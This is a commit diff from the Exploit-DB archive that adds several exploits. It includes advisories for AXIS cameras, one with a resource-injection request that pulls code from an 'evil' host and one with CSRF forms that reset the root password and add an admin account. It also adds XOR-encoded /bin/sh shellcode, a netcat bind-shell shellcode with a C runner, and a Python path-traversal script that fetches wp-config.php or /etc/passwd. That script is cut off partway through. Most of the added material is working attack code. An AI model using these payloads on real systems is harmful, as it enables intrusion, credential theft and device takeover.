DB: 2017-03-18
8 new exploits Cerberus FTP Server 8.0.10.3 - 'MLST' Buffer Overflow FTPShell Client 6.53 - Local Buffer Overflow Linux/x86 - Encoded exceve(_/bin/sh_) Shellcode (44 Bytes) Linux/x86 - Bind Shell Shellcode (51 bytes) Wordpress Plugin Membership Simplified 1.58 - Arbitrary File Download AXIS Communications - Cross-Site Scripting / Content Injection AXIS Multiple Products - Cross-Site Request Forgery Departmental Store Management System 1.2 - SQL Injection
This commit is contained in:
Offensive Security
parent
5b8d706b7d
commit
4da96605a4
9 changed files with 661 additions and 0 deletions
|
|
@ -5397,7 +5397,9 @@ id,file,description,date,author,platform,type,port
|
||||||
41611,platforms/multiple/dos/41611.txt,"Adobe Flash - ATF Planar Decompression Heap Overflow",2017-03-15,"Google Security Research",multiple,dos,0
|
41611,platforms/multiple/dos/41611.txt,"Adobe Flash - ATF Planar Decompression Heap Overflow",2017-03-15,"Google Security Research",multiple,dos,0
|
||||||
41612,platforms/multiple/dos/41612.txt,"Adobe Flash - AVC Header Slicing Heap Overflow",2017-03-15,"Google Security Research",multiple,dos,0
|
41612,platforms/multiple/dos/41612.txt,"Adobe Flash - AVC Header Slicing Heap Overflow",2017-03-15,"Google Security Research",multiple,dos,0
|
||||||
41615,platforms/windows/dos/41615.txt,"Microsoft Windows - 'LoadUvsTable()' Heap-based Buffer Overflow",2017-03-15,"Hossein Lotfi",windows,dos,0
|
41615,platforms/windows/dos/41615.txt,"Microsoft Windows - 'LoadUvsTable()' Heap-based Buffer Overflow",2017-03-15,"Hossein Lotfi",windows,dos,0
|
||||||
|
41620,platforms/windows/dos/41620.txt,"Cerberus FTP Server 8.0.10.3 - 'MLST' Buffer Overflow",2017-03-16,"Nassim Asrir",windows,dos,0
|
||||||
41623,platforms/windows/dos/41623.html,"Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free",2017-03-16,"Google Security Research",windows,dos,0
|
41623,platforms/windows/dos/41623.html,"Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free",2017-03-16,"Google Security Research",windows,dos,0
|
||||||
|
41629,platforms/windows/dos/41629.py,"FTPShell Client 6.53 - Local Buffer Overflow",2017-03-17,ScrR1pTK1dd13,windows,dos,0
|
||||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||||
|
|
@ -15956,6 +15958,8 @@ id,file,description,date,author,platform,type,port
|
||||||
41509,platforms/lin_x86-64/shellcode/41509.nasm,"Linux/x86-64 - NetCat Reverse Shell Shellcode (72 bytes)",2017-03-04,"Robert L. Taylor",lin_x86-64,shellcode,0
|
41509,platforms/lin_x86-64/shellcode/41509.nasm,"Linux/x86-64 - NetCat Reverse Shell Shellcode (72 bytes)",2017-03-04,"Robert L. Taylor",lin_x86-64,shellcode,0
|
||||||
41510,platforms/lin_x86-64/shellcode/41510.nsam,"Linux/x86-64 - Polymorphic NetCat Reverse Shell Shellcode (106 bytes)",2017-03-04,"Robert L. Taylor",lin_x86-64,shellcode,0
|
41510,platforms/lin_x86-64/shellcode/41510.nsam,"Linux/x86-64 - Polymorphic NetCat Reverse Shell Shellcode (106 bytes)",2017-03-04,"Robert L. Taylor",lin_x86-64,shellcode,0
|
||||||
41581,platforms/win_x86/shellcode/41581.c,"Windows x86 - Hide Console Window Shellcode (182 bytes)",2017-03-11,"Ege Balci",win_x86,shellcode,0
|
41581,platforms/win_x86/shellcode/41581.c,"Windows x86 - Hide Console Window Shellcode (182 bytes)",2017-03-11,"Ege Balci",win_x86,shellcode,0
|
||||||
|
41630,platforms/lin_x86/shellcode/41630.asm,"Linux/x86 - Encoded exceve(_/bin/sh_) Shellcode (44 Bytes)",2017-03-17,WangYihang,lin_x86,shellcode,0
|
||||||
|
41631,platforms/lin_x86/shellcode/41631.c,"Linux/x86 - Bind Shell Shellcode (51 bytes)",2017-03-17,"Oleg Boytsev",lin_x86,shellcode,0
|
||||||
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
|
6,platforms/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,php,webapps,0
|
||||||
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
|
44,platforms/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",php,webapps,0
|
||||||
47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
|
47,platforms/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,php,webapps,0
|
||||||
|
|
@ -37534,3 +37538,7 @@ id,file,description,date,author,platform,type,port
|
||||||
41616,platforms/ruby/webapps/41616.rb,"GitHub Enterprise 2.8.0 < 2.8.6 - Remote Code Execution",2017-03-15,iblue,ruby,webapps,0
|
41616,platforms/ruby/webapps/41616.rb,"GitHub Enterprise 2.8.0 < 2.8.6 - Remote Code Execution",2017-03-15,iblue,ruby,webapps,0
|
||||||
41617,platforms/php/webapps/41617.txt,"Steam Profile Integration 2.0.11 - SQL injection",2017-03-13,DrWhat,php,webapps,0
|
41617,platforms/php/webapps/41617.txt,"Steam Profile Integration 2.0.11 - SQL injection",2017-03-13,DrWhat,php,webapps,0
|
||||||
41618,platforms/aspx/webapps/41618.txt,"Sitecore CMS 8.1 Update-3 - Cross-Site Scripting",2017-03-15,"Pralhad Chaskar",aspx,webapps,0
|
41618,platforms/aspx/webapps/41618.txt,"Sitecore CMS 8.1 Update-3 - Cross-Site Scripting",2017-03-15,"Pralhad Chaskar",aspx,webapps,0
|
||||||
|
41622,platforms/php/webapps/41622.py,"Wordpress Plugin Membership Simplified 1.58 - Arbitrary File Download",2017-03-16,"The Martian",php,webapps,0
|
||||||
|
41625,platforms/hardware/webapps/41625.txt,"AXIS Communications - Cross-Site Scripting / Content Injection",2017-03-17,Orwelllabs,hardware,webapps,0
|
||||||
|
41626,platforms/hardware/webapps/41626.txt,"AXIS Multiple Products - Cross-Site Request Forgery",2017-03-17,Orwelllabs,hardware,webapps,0
|
||||||
|
41627,platforms/php/webapps/41627.txt,"Departmental Store Management System 1.2 - SQL Injection",2017-03-17,"Ihsan Sencan",php,webapps,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
229
platforms/hardware/webapps/41625.txt
Executable file
229
platforms/hardware/webapps/41625.txt
Executable file
|
|
@ -0,0 +1,229 @@
|
||||||
|
0RWELLL4BS
|
||||||
|
**********
|
||||||
|
security advisory
|
||||||
|
olsa-2015-8258
|
||||||
|
PGP: 79A6CCC0
|
||||||
|
@orwelllabs
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Advisory Information
|
||||||
|
====================
|
||||||
|
- Title: ImagePath Resource Injection/Open script editor
|
||||||
|
- Vendor: AXIS Communications
|
||||||
|
- Research and Advisory: Orwelllabs
|
||||||
|
- Class: Improper Input Validation [CWE-20]
|
||||||
|
- CVE Name: CVE-2015-8258
|
||||||
|
- Affected Versions: Firmwares versions <lt 5.80.x
|
||||||
|
- IoT Attack Surface: Device Administrative Interface/Authentication/Autho
|
||||||
|
rization
|
||||||
|
- OWASP IoTTop10: I1, I2
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Technical Details
|
||||||
|
=================
|
||||||
|
The variable "imagePath=" (that is prone to XSS in a large range of
|
||||||
|
products) also can be used to resource injection intents. If inserted a URL
|
||||||
|
in this variable will be made an GET request to this URL, so this an
|
||||||
|
interesting point to request malicious codes from the attacker machine, and
|
||||||
|
of course, the possibilities are vast (including hook the browser).
|
||||||
|
|
||||||
|
|
||||||
|
An attacker sends the following URL for the current Web user interface of
|
||||||
|
the camera:
|
||||||
|
http://{AXISVULNHOST}/view.shtml?imagepath=http://www.3vilh0
|
||||||
|
st.com/evilcode.html
|
||||||
|
|
||||||
|
This request will be processed normally and will return the status code 200
|
||||||
|
(OK):
|
||||||
|
|
||||||
|
[REQUEST]
|
||||||
|
|
||||||
|
GET /view.shtml?imagepath=http://www.3vilh0st.com/evilcode.html HTTP/1.1
|
||||||
|
Host: {axisvulnhost}
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101
|
||||||
|
Firefox/41.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Authorization: Digest username="Winst0n", realm="AXIS_XXXXXXXXXXX",
|
||||||
|
nonce="00978cY6s4g@Sadd1b11a9A6ed955e1b5ce9eb",
|
||||||
|
uri="/view.shtml?imagepath=http://www.3vilh0st.com/evilcode.html",
|
||||||
|
response="5xxxxxxxxxxxxxxxxxxxxxx", qop=auth,
|
||||||
|
nc=0000002b, cnonce="00rw3ll4bs0rw3lll4bs"
|
||||||
|
Connection: keep-alive
|
||||||
|
|
||||||
|
|
||||||
|
GET /evilcode.html HTTP/1.1
|
||||||
|
Host: www.3vilh0st.com
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101
|
||||||
|
Firefox/41.0
|
||||||
|
Accept: image/png,image/*;q=0.8,*/*;q=0.5
|
||||||
|
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Referer: http://{axisvulnhost}/view.shtml?imagepath=http://www.3vilh0
|
||||||
|
st.com/evilcode.html
|
||||||
|
Connection: keep-alive
|
||||||
|
|
||||||
|
The server response can be seen below (with the clipping of the affected
|
||||||
|
HTML code snippets - just look for "http://www.3vilh0st.com/evilcode.html"):
|
||||||
|
|
||||||
|
|
||||||
|
<table border="0" cellpadding="3" cellspacing="3">
|
||||||
|
<tr>
|
||||||
|
<td id="videoStreamTable">
|
||||||
|
<script language="JavaScript">
|
||||||
|
<!--
|
||||||
|
video('http://www.3vilh0st.com/evilcode.html');
|
||||||
|
// -->
|
||||||
|
</script>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
[..SNIP..]
|
||||||
|
|
||||||
|
function listVideoSources()
|
||||||
|
{
|
||||||
|
var formInt = document.listFormInt;
|
||||||
|
var formExt = document.listFormExt;
|
||||||
|
var formCrop = document.listFormCrop;
|
||||||
|
var presetForm = document.listFormPreset;
|
||||||
|
var form = document.WizardForm
|
||||||
|
var currentPath = 'http://www.3vilh0st.com/evilcode.html';
|
||||||
|
var imageSource;
|
||||||
|
|
||||||
|
[..SNIP..]
|
||||||
|
|
||||||
|
var reload = false;
|
||||||
|
reload |= (other != null && other.search("seq=yes") >= 0);
|
||||||
|
reload |= (other != null && other.search("streamprofile=") >= 0);
|
||||||
|
reload |= ((other == null || (other != null && other.search("streamprofile=
|
||||||
|
;)(r") == -1)) && ('' != ""));
|
||||||
|
reload |= (imagePath != 'http://www.3vilh0st.com/evilcode.html');
|
||||||
|
|
||||||
|
[..SNIP..]
|
||||||
|
|
||||||
|
<script SRC="/incl/activeX.js?id=69"></script>
|
||||||
|
</head>
|
||||||
|
<body class="bodyBg" topmargin="0" leftmargin="15" marginwidth="0"
|
||||||
|
marginheight="0" onLoad="DrawTB('no', 'http://www.3vilh0st.com/evilcode.html',
|
||||||
|
'1', '0', 'no', 'no', 'true', getStreamProfileNbr());" onResize="">
|
||||||
|
<script language="JavaScript">
|
||||||
|
|
||||||
|
[..SNIP..]
|
||||||
|
|
||||||
|
// Draw the scale buttons
|
||||||
|
var currentResolution = 0
|
||||||
|
var width = 0
|
||||||
|
var height = 0
|
||||||
|
var imagepath = "http://www.3vilh0st.com/evilcode.html"
|
||||||
|
var resStart = imagepath.indexOf("resolution=")
|
||||||
|
if (resStart != -1) {
|
||||||
|
var resStop = imagepath.indexOf("&", resStart)
|
||||||
|
|
||||||
|
[..SNIP..]
|
||||||
|
|
||||||
|
|
||||||
|
=================== view.shtml snips =====================
|
||||||
|
|
||||||
|
447 function zoom(size)
|
||||||
|
448 {
|
||||||
|
449 var url = document.URL;
|
||||||
|
450
|
||||||
|
451 if (url.indexOf("?") == -1) {
|
||||||
|
452 url += "F?size=" + size
|
||||||
|
453 } else if (url.indexOf("size=") == -1) {
|
||||||
|
454 url += "&size=" + size
|
||||||
|
455 } else {
|
||||||
|
456 var searchStr = "size=<!--#echo var="size"
|
||||||
|
option="encoding:javascript" -->"
|
||||||
|
457 var replaceStr = "size=" + size
|
||||||
|
458 var re = new RegExp(searchStr , "g")
|
||||||
|
459 url = url.replace(re, replaceStr)
|
||||||
|
460 }
|
||||||
|
461
|
||||||
|
462 document.location = url;
|
||||||
|
463 }
|
||||||
|
464
|
||||||
|
465 var aNewImagePath;
|
||||||
|
466
|
||||||
|
467 function reloadPage()
|
||||||
|
468 {
|
||||||
|
469 document.location = aNewImagePath;
|
||||||
|
470 }
|
||||||
|
471
|
||||||
|
|
||||||
|
[ SNIP ]
|
||||||
|
|
||||||
|
567 aNewImagePath = '/view/view.shtml?id=<!--#echo
|
||||||
|
var="ssi_request_id" option="encoding:url" -->&imagePath=' +
|
||||||
|
escape(imagePath) + size;
|
||||||
|
568 if (other != null)
|
||||||
|
569 aNewImagePath += other;
|
||||||
|
570 <!--#if expr="$ptzpresets = yes" -->
|
||||||
|
571 /* append preset parameters so that preset postion is selected in
|
||||||
|
drop down list after reload */
|
||||||
|
572 if (presetName != '')
|
||||||
|
573 aNewImagePath += "&gotopresetname=" + escape(presetName);
|
||||||
|
574 else if (gotopresetname != '')
|
||||||
|
575 aNewImagePath += "&gotopresetname=" + escape(gotopresetname);
|
||||||
|
576
|
||||||
|
577 if( newCamera != '')
|
||||||
|
578 aNewImagePath += "&camera=" + escape(newCamera);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---*---
|
||||||
|
Some legitimate resources can be very interesting to cybercriminals with
|
||||||
|
your hansowares/botnets/bitcoinminer/backdoors/malwares etc. In this case
|
||||||
|
there are some resources, like the "Open Script Editor". By this resource
|
||||||
|
the user can edit any file in the operation system with root privileges,
|
||||||
|
because everything (in the most part of IoT devices) runs with root
|
||||||
|
privileges, this is other dangerous point to keep in mind.
|
||||||
|
|
||||||
|
> Open Script Editor path: 'System Options' -> 'Advanced' -> 'Scripting'
|
||||||
|
|
||||||
|
Well, one can say that this feature is restricted to the administrator of
|
||||||
|
the camera, and this would be true if customers were forced to change the
|
||||||
|
default password during setup phase with a strong password policy, since
|
||||||
|
change "pass" to "pass123" does not solve the problem. The aggravating
|
||||||
|
factor is that there are thousands of products available on the internet,
|
||||||
|
running with default credentials.
|
||||||
|
|
||||||
|
|
||||||
|
Vendor Information, Solutions and Workarounds
|
||||||
|
+++++++++++++++++++++++++++++++++++++++++++++
|
||||||
|
According to the manufacturer, the resource injection vulnerability was
|
||||||
|
fixed in firmware 5.60, but we identified that the problem still occurred
|
||||||
|
in 5.80.x versions of various product models. Check for updates on the
|
||||||
|
manufacturer's website.
|
||||||
|
|
||||||
|
About Open Script Editor,It was considered that in order to have access to
|
||||||
|
this feature, it is necessary to be authenticated as an admin, but if there
|
||||||
|
is no policy that forces the client to change the password during the
|
||||||
|
product setup (ease vs. security) and also requires a password complexity,
|
||||||
|
having an administrative credential to abuse the functionality is not
|
||||||
|
exactly an impediment (e.g: botnets that bring embedded in the code a
|
||||||
|
relation of default credentials for that type of device)
|
||||||
|
|
||||||
|
|
||||||
|
Credits
|
||||||
|
=======
|
||||||
|
These vulnerabilities has been discovered and published by Orwelllabs.
|
||||||
|
|
||||||
|
|
||||||
|
Legal Notices
|
||||||
|
=============
|
||||||
|
The information contained within this advisory is supplied "as-is" with no
|
||||||
|
warranties or guarantees of fitness of use or otherwise. We accept no
|
||||||
|
responsibility for any damage caused by the use or misuse of this
|
||||||
|
information.
|
||||||
|
|
||||||
|
|
||||||
|
About Orwelllabs
|
||||||
|
================
|
||||||
|
https://www.exploit-db.com/author/?a=8225
|
||||||
|
https://packetstormsecurity.com/files/author/12322/
|
||||||
103
platforms/hardware/webapps/41626.txt
Executable file
103
platforms/hardware/webapps/41626.txt
Executable file
|
|
@ -0,0 +1,103 @@
|
||||||
|
0RWELLL4BS
|
||||||
|
**********
|
||||||
|
security advisory
|
||||||
|
olsa-CVE-2015-8255
|
||||||
|
PGP: 79A6CCC0
|
||||||
|
@orwelllabs
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Advisory Information
|
||||||
|
====================
|
||||||
|
- Title: Cross-Site Request Forgery
|
||||||
|
- Vendor: AXIS Communications
|
||||||
|
- Research and Advisory: Orwelllabs
|
||||||
|
- Class: Session Management control [CWE-352]
|
||||||
|
- CVE Name: CVE-2015-8255
|
||||||
|
- Affected Versions:
|
||||||
|
- IoT Attack Surface: Device Web Interface
|
||||||
|
- OWASP IoTTop10: I1
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Technical Details
|
||||||
|
=================
|
||||||
|
Because of the own (bad) design of this kind of device (Actualy a big
|
||||||
|
problem of IoT, one of them)
|
||||||
|
The embedded web application does not verify whether a valid request was
|
||||||
|
intentionally provided by the user who submitted the request.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
PoCs
|
||||||
|
====
|
||||||
|
#-> Setting root password to W!nst0n
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<!-- CSRF PoC Orwelllabs -->
|
||||||
|
<body>
|
||||||
|
<form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi">
|
||||||
|
<input type="hidden" name="action" value="update" />
|
||||||
|
<input type="hidden" name="user" value="root" />
|
||||||
|
<input type="hidden" name="pwd" value="w!nst0n" />
|
||||||
|
<input type="hidden" name="comment" value="Administrator" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
#-> Adding new credential SmithW:W!nst0n
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<!-- CSRF PoC - Orwelllabs -->
|
||||||
|
<body>
|
||||||
|
<form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi">
|
||||||
|
<input type="hidden" name="action" value="add" />
|
||||||
|
<input type="hidden" name="user" value="SmithW" />
|
||||||
|
<input type="hidden" name="sgrp"
|
||||||
|
value="viewer:operator:admin:ptz" />
|
||||||
|
<input type="hidden" name="pwd" value="W!nst0n" />
|
||||||
|
<input type="hidden" name="grp" value="users" />
|
||||||
|
<input type="hidden" name="comment" value="WebUser" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
|
||||||
|
#-> Deleting an app via directly CSRF (axis_update.shtml)
|
||||||
|
|
||||||
|
http://xxx.xxx.xxx.xxx/axis-cgi/vaconfig.cgi?action=get&name=<script src="
|
||||||
|
http://xxx.xxx.xxx.xxx/axis-cgi/admin/local_del.cgi?+/usr/html/local/viewer/axis_update.shtml
|
||||||
|
"></script>
|
||||||
|
|
||||||
|
|
||||||
|
[And many acitions allowed to an user [all of them?] can be forged in this
|
||||||
|
way]
|
||||||
|
|
||||||
|
|
||||||
|
Vendor Information, Solutions and Workarounds
|
||||||
|
+++++++++++++++++++++++++++++++++++++++++++++
|
||||||
|
Well, this is a very old design problem of this kind of device, nothing new
|
||||||
|
to say about that.
|
||||||
|
|
||||||
|
|
||||||
|
Credits
|
||||||
|
=======
|
||||||
|
These vulnerabilities has been discovered and published by Orwelllabs.
|
||||||
|
|
||||||
|
|
||||||
|
Legal Notices
|
||||||
|
=============
|
||||||
|
The information contained within this advisory is supplied "as-is" with no
|
||||||
|
warranties or guarantees of fitness of use or otherwise. We accept no
|
||||||
|
responsibility for any damage caused by the use or misuse of this
|
||||||
|
information.
|
||||||
|
|
||||||
|
|
||||||
|
About Orwelllabs
|
||||||
|
================
|
||||||
|
https://www.exploit-db.com/author/?a=8225
|
||||||
|
https://packetstormsecurity.com/files/author/12322/
|
||||||
84
platforms/lin_x86/shellcode/41630.asm
Executable file
84
platforms/lin_x86/shellcode/41630.asm
Executable file
|
|
@ -0,0 +1,84 @@
|
||||||
|
;================================================================================
|
||||||
|
; The MIT License
|
||||||
|
;
|
||||||
|
; Copyright (c) <year> <copyright holders>
|
||||||
|
;
|
||||||
|
; Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
; of this software and associated documentation files (the "Software"), to deal
|
||||||
|
; in the Software without restriction, including without limitation the rights
|
||||||
|
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
; copies of the Software, and to permit persons to whom the Software is
|
||||||
|
; furnished to do so, subject to the following conditions:
|
||||||
|
;
|
||||||
|
; The above copyright notice and this permission notice shall be included in
|
||||||
|
; all copies or substantial portions of the Software.
|
||||||
|
;
|
||||||
|
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
; THE SOFTWARE.
|
||||||
|
;================================================================================
|
||||||
|
; Name : Encrypt Linux x86 Shellcode(44 Bytes) To exceve("/bin/sh")
|
||||||
|
; Author : WangYihang
|
||||||
|
; Email : wangyihanger@gmail.com
|
||||||
|
; Tested on: Linux_x86
|
||||||
|
; Shellcode Length: 44
|
||||||
|
;================================================================================
|
||||||
|
; Shellcode :
|
||||||
|
; char shellcode[] = "\xeb\x10\x5e\x31\xc9\xb1\x15\x8a"
|
||||||
|
; "\x06\x34\xe9\x88\x06\x46\xe2\xf7"
|
||||||
|
; "\xeb\x05\xe8\xeb\xff\xff\xff\xd8"
|
||||||
|
; "\x20\xb8\x81\xc6\xc6\x9a\x81\x81"
|
||||||
|
; "\xc6\x8b\x80\x87\x60\x0a\x83\xe2"
|
||||||
|
; "\xb1\x70\x24\x69";
|
||||||
|
;================================================================================
|
||||||
|
; Python :
|
||||||
|
; shellcode = "\xeb\x10\x5e\x31\xc9\xb1\x15\x8a\x06\x34\xe9\x88\x06\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xd8\x20\xb8\x81\xc6\xc6\x9a\x81\x81\xc6\x8b\x80\x87\x60\x0a\x83\xe2\xb1\x70\x24\x69"
|
||||||
|
;================================================================================
|
||||||
|
; Assembly language code :
|
||||||
|
|
||||||
|
global _start
|
||||||
|
; this shell code will xor every byte of 'jocker' segment , then execute them
|
||||||
|
; password is 0xe9 (233)
|
||||||
|
_start:
|
||||||
|
jmp jocker
|
||||||
|
loader:
|
||||||
|
pop esi ; get address of encrypted shellcode
|
||||||
|
xor ecx, ecx
|
||||||
|
mov cl, 21 ; loop times (length of encrypt shellcode)
|
||||||
|
decrypt:
|
||||||
|
mov al, [esi]
|
||||||
|
xor al, 0e9H
|
||||||
|
mov [esi], al
|
||||||
|
inc esi
|
||||||
|
loop decrypt
|
||||||
|
jmp encrypt
|
||||||
|
|
||||||
|
jocker:
|
||||||
|
call loader
|
||||||
|
encrypt:
|
||||||
|
db 0d8H
|
||||||
|
db 20H
|
||||||
|
db 0b8H
|
||||||
|
db 81H
|
||||||
|
db 0c6H
|
||||||
|
db 0c6H
|
||||||
|
db 9aH
|
||||||
|
db 81H
|
||||||
|
db 81H
|
||||||
|
db 0c6H
|
||||||
|
db 8bH
|
||||||
|
db 80H
|
||||||
|
db 87H
|
||||||
|
db 60H
|
||||||
|
db 0aH
|
||||||
|
db 83H
|
||||||
|
db 0e2H
|
||||||
|
db 0b1H
|
||||||
|
db 70H
|
||||||
|
db 24H
|
||||||
|
db 69H
|
||||||
|
;================================================================================
|
||||||
49
platforms/lin_x86/shellcode/41631.c
Executable file
49
platforms/lin_x86/shellcode/41631.c
Executable file
|
|
@ -0,0 +1,49 @@
|
||||||
|
/*
|
||||||
|
# Super_Small_Bind_Shell (x86)
|
||||||
|
# Date: 17.03.2017
|
||||||
|
# This shellcode will listen on port 37 and show you how deep the rabbit hole goes
|
||||||
|
# Please note that 37 port is below 1024 and thus privileged!
|
||||||
|
# Shellcode Author: ALEH BOITSAU
|
||||||
|
# Shellcode Length: 51 bytes ;)
|
||||||
|
# Tested on: Debian GNU/Linux 8/x86_64
|
||||||
|
# Command: gcc -m32 -z execstack super_small_bind_shell.c -o super_small_bind_shell
|
||||||
|
|
||||||
|
global _start
|
||||||
|
section .text
|
||||||
|
_start:
|
||||||
|
xor eax, eax
|
||||||
|
push eax
|
||||||
|
push 0x3733702d ;-p37
|
||||||
|
mov esi, esp
|
||||||
|
|
||||||
|
push eax
|
||||||
|
push 0x68732f2f ;-le//bin//sh
|
||||||
|
push 0x6e69622f
|
||||||
|
push 0x2f656c2d
|
||||||
|
mov edi, esp
|
||||||
|
|
||||||
|
push eax
|
||||||
|
push 0x636e2f2f ;/bin//nc
|
||||||
|
push 0x6e69622f
|
||||||
|
mov ebx, esp
|
||||||
|
|
||||||
|
push eax
|
||||||
|
push esi
|
||||||
|
push edi
|
||||||
|
push ebx
|
||||||
|
mov ecx, esp
|
||||||
|
mov al,11
|
||||||
|
int 0x80
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
unsigned char shellcode[] =
|
||||||
|
"\x31\xc0\x50\x68\x2d\x70\x33\x37\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
|
||||||
|
main()
|
||||||
|
{
|
||||||
|
printf("Shellcode Length: %d\n",strlen(shellcode));
|
||||||
|
int (*ret)() = (int(*)())shellcode;
|
||||||
|
ret();
|
||||||
|
}
|
||||||
60
platforms/php/webapps/41622.py
Executable file
60
platforms/php/webapps/41622.py
Executable file
|
|
@ -0,0 +1,60 @@
|
||||||
|
import requests
|
||||||
|
import string
|
||||||
|
import random
|
||||||
|
from urlparse import urlparse
|
||||||
|
|
||||||
|
print "---------------------------------------------------------------------"
|
||||||
|
print "Wordpress Plugin Membership Simplified v1.58 - Arbitrary File Download\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nWebsite: https://www.alien-within.com\nCVE-2017-1002008\nCWE: 23\n\nReference URLs:\nhttp://www.vapidlabs.com/advisory.php?v=187"
|
||||||
|
print "---------------------------------------------------------------------"
|
||||||
|
victim = raw_input("Please Enter victim host e.g. http://example.com: ")
|
||||||
|
file_choice=raw_input ("\n Please choose a number representing the file to attack: \n1. Wordpress Config \n2. Linux Passwd File\n")
|
||||||
|
if file_choice == "1":
|
||||||
|
payload="..././..././..././wp-config.php"
|
||||||
|
elif file_choice == "2":
|
||||||
|
payload="..././..././..././..././..././..././..././..././etc/passwd"
|
||||||
|
else:
|
||||||
|
print "Invalid Download choice, Please choose 1 or 2; Alternatively you can re-code me toI will now exit"
|
||||||
|
quit()
|
||||||
|
slug = "/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file="+payload
|
||||||
|
target=victim+slug
|
||||||
|
def randomizeFile(size=6, chars=string.ascii_uppercase + string.digits):
|
||||||
|
return ''.join(random.choice(chars) for _ in range(size))
|
||||||
|
|
||||||
|
def checkPlugin():
|
||||||
|
pluginExists = requests.get(victim+"/wp-content/plugins/membership-simplified-for-oap-members-only/download.php")
|
||||||
|
pluginExistence = pluginExists.status_code
|
||||||
|
if pluginExistence == 200:
|
||||||
|
print "\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..."
|
||||||
|
exploit()
|
||||||
|
else:
|
||||||
|
print "Target has a funny code & might not be vulnerable, I will now exit\n"
|
||||||
|
quit()
|
||||||
|
|
||||||
|
def exploit():
|
||||||
|
|
||||||
|
getThatFile = requests.get(target)
|
||||||
|
fileState = getThatFile.status_code
|
||||||
|
breakApart=urlparse(victim)
|
||||||
|
extract_hostname=breakApart.netloc
|
||||||
|
randomDifferentiator=randomizeFile()
|
||||||
|
cleanName=str(randomDifferentiator)
|
||||||
|
